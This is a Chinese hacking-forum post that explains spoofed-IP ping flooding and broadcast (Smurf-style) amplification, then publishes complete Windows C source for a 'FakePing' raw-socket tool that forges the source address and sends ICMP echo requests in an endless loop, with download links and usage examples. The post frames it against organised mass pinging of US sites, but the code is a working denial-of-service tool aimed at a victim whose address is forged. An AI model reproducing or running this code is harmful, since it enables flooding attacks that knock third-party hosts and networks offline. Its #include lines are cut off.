论坛: 菜鸟乐园 标题: 伪装IP地址的洪水Ping攻击 复制本贴地址    
作者: yimarong [yimarong]    版主   登录

                   伪装IP地址的洪水Ping攻击  

最近不少人又来号召大家一起去Ping死什么什么网站,政治我不懂,不过从技术上来说,无论  
什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这  
样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争  
大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。  


撰写本文的目的不是号召大家用FakePing工具去攻击美国站点,只是想略微展示一下用技术  
能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮,  
FakePing也只能算得上是火枪而已,而美国已经研制出了航空母舰(一个操作系统的复杂度完  
全可以和航母媲美),难道用大刀、长枪、火枪去对抗航母?这样是很感人,也很悲壮,但是  
没有别的方法了?我们不能回去研制自己的战列舰?要是这次什么红客大战中二炮的专家们也  
出来参加Ping,  
要是西昌的技术人员也去参加黑主页运动,我们不亡国才怪!  

  我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在  
的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致  
出现了Ping  
to  
Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的  
升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),  
如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构  
的缺陷放大攻击的力度(所谓正反馈)  


  正常情况下,Ping的流程是这样的:  

  主机A发送ICMP 8,0报文给主机B  

  主机B回送ICMp 0,0报文给主机A  

  因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP  
8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去  


  回应主机C,结构如下:  

   伪装为主机C 错误的回复  
主机A--------------------->主机B------------------>主机C  


  这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以  
攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹  
,是一种隐蔽的一石二鸟的攻击方法。  


  上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的  
操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌  
人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局  
域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果  
我们往广播地址发送一个ICMP  
ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收  
广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下  
你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这  
样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,  
同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试  
。  


  说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击  
主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求  
,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量)  


  伪装为主机C 所有广播主机都会错误的回复  
主机A--------------------->广播地址=========================>主机C  



  我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe
(这里也可以找到:http://www.bluedon.com/download/open.asp?id=2348)  
下载。  


  使用方法是FakePing.exe FakeIP TargetIP  
[PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。  


  源码公布如下:  



#include  
#include  
#include  
#include  

#define SEQ 0x28376839  
#define STATUS_FAILED 0xFFFF //错误返回值  

typedef struct _iphdr //定义IP首部  
{  
  unsigned char h_verlen; //4位首部长度,4位IP版本号  
  unsigned char tos; //8位服务类型TOS  
  unsigned short total_len; //16位总长度(字节)  
  unsigned short ident; //16位标识  
  unsigned short frag_and_flags; //3位标志位  
  unsigned char ttl; //8位生存时间 TTL  
  unsigned char proto; //8位协议 (TCP, UDP 或其他)  
  unsigned short checksum; //16位IP首部校验和  
  unsigned int sourceIP; //32位源IP地址  
  unsigned int destIP; //32位目的IP地址  
}IP_HEADER;  

// 定义ICMP首部  
typedef struct _ihdr  
{  
  BYTE i_type; //8位类型  
  BYTE i_code; //8位代码  
  USHORT i_cksum; //16位校验和  
  USHORT i_id; //识别号(一般用进程号作为识别号)  
  USHORT i_seq; //报文序列号  
  ULONG timestamp; //时间戳  
}ICMP_HEADER;  

//CheckSum:计算校验和的子函数  
USHORT checksum(USHORT *buffer, int size)  
{  
  unsigned long cksum=0;  
  while(size >1)  
   {  
     cksum+=*buffer++;  
     size -=sizeof(USHORT);  
   }  
  if(size )  
   {  
     cksum += *(UCHAR*)buffer;  
   }  
  cksum = (cksum >> 16) + (cksum & 0xffff);  
  cksum += (cksum >>16);  
  return (USHORT)(~cksum);  
}  

//FakePing主函数  
int main(int argc, char **argv)  
{  
  int datasize,ErrorCode,counter,flag;  
  int TimeOut=2000, SendSEQ=0, PacketSize=32;  
  char SendBuf[65535]={0};  
  WSADATA wsaData;  
  SOCKET SockRaw=(SOCKET)NULL;  
  struct sockaddr_in DestAddr;  
  IP_HEADER ip_header;  
  ICMP_HEADER icmp_header;  
  char FakeSourceIp[20],DestIp[20];  

//接受命令行参数  
  if (argc<3)  
   {  
     printf("FakePing by Shotgun\n");  
     printf("\tThis program can do Ping-Flooding  
from a FakeIP\n");  
     printf("\tUsing a BroadCast IP as the FakeIP  
will enhance the effect\n");  
     printf("Email:\n");  
     printf("tShotgun@Xici.Net\n");  
     printf("HomePage:\n");  
     printf("\thttp://It.Xici.Net\n");  
     printf("\thttp://www.Patching.Net\n");  
     printf("USAGE:\n\tFakePing.exe FakeSourceIp  
DestinationIp [PacketSize]\n");  
     printf("Example:\n");  
     printf("\tFakePing.exe 192.168.15.23  
192.168.15.255\n");  
     printf("\tFakePing.exe 192.168.15.23  
192.168.15.200 6400\n");  
     exit(0);  
   }  
  strcpy(FakeSourceIp,argv[1]);  
  strcpy(DestIp,argv[2]);  
  if (argc>3) PacketSize=atoi(argv[3]);  
  if (PacketSize>60000)  
   {  
     printf("Error! Packet size too big, must  
<60K\n");  
     exit(0);  
   }  
  printf("Now Fake %s Ping %s using Packet size=%d  
bytes\n",  
  FakeSourceIp, DestIp, PacketSize);  
  printf("\tCtrl+C to Quit\n");  
//初始化SOCK_RAW  
  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)  

   {  
     fprintf(stderr,"WSAStartup failed:  
%d\n",ErrorCode);  
     ExitProcess(STATUS_FAILED);  
   }  

  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPE  
D))==INVALID_SOCKET)  

   {  
     fprintf(stderr,"WSASocket() failed:  
%d\n",WSAGetLastError());  
     ExitProcess(STATUS_FAILED);  
   }  
  flag=TRUE;  

//设置IP_HDRINCL以自己填充IP首部  
  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char  
*)&flag,sizeof(int));  
  if(ErrorCode==SOCKET_ERROR)  
   printf("Set IP_HDRINCL Error!\n");  
  __try  
{  

//设置发送超时  
  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(T  
imeOut));  

  if (ErrorCode==SOCKET_ERROR)  
   {  
     fprintf(stderr,"Failed to set send TimeOut:  
%d\n",WSAGetLastError());  
     __leave;  
   }  
  memset(&DestAddr,0,sizeof(DestAddr));  
  DestAddr.sin_family=AF_INET;  
  DestAddr.sin_addr.s_addr=inet_addr(DestIp);  

//填充IP首部  
  ip_header.h_verlen=(4<<4 |  
sizeof(ip_header)/sizeof(unsigned long));  
//高四位IP版本号,低四位首部长度  
  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER));  
//16位总长度(字节)  
  ip_header.ident=1;  

//16位标识  
  ip_header.frag_and_flags=0;  
//3位标志位  
  ip_header.ttl=128;  

//8位生存时间 TTL  
  ip_header.proto=IPPROTO_ICMP;  

//8位协议 (TCP, UDP 或其他)  
  ip_header.checksum=0;  

//16位IP首部校验和  
  ip_header.sourceIP=inet_addr(FakeSourceIp); //32  

位源IP地址  
  ip_header.destIP=inet_addr(DestIp);  

//32位目的IP地址  
//填充ICMP首部  
  icmp_header.i_type = 8;  
  icmp_header.i_code = 0;  
  icmp_header.i_cksum = 0;  
  icmp_header.i_id = 2;  
  icmp_header.timestamp = 999;  
  icmp_header.i_seq=999;  
  memcpy(SendBuf, &icmp_header,  
sizeof(icmp_header));  
  memset(SendBuf+sizeof(icmp_header), 'E',  
PacketSize);  
  icmp_header.i_cksum = checksum((USHORT *)SendBuf,  
sizeof(icmp_header)+PacketSize);  
  memcpy(SendBuf,&ip_header,sizeof(ip_header));  
  memcpy(SendBuf+sizeof(ip_header), &icmp_header,  
sizeof(icmp_header));  
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header),  
'E', PacketSize);  
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize,  
0, 1);  
//计算发送缓冲区的大小  
  datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;  

  ip_header.checksum=checksum((USHORT  
*)SendBuf,datasize);  

//填充发送缓冲区  
  memcpy(SendBuf,&ip_header, sizeof(ip_header));  
  while(1)  
   {  
    Sleep(100);  
    printf(".");  
    for(counter=0;counter<1024;counter++)  
    {  
//发送ICMP报文  
     ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct  
sockaddr*)&DestAddr,sizeof(DestAddr));  
     if (ErrorCode==SOCKET_ERROR) printf("\nSend  
Error:%d\n",GetLastError());  
    }  
   }  
}//End of try  

 __finally  
  {  
   if (SockRaw != INVALID_SOCKET)  
closesocket(SockRaw);  
   WSACleanup();  
  }  
 return 0;  
}  

 


地主 发表时间: 07/28 03:22

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号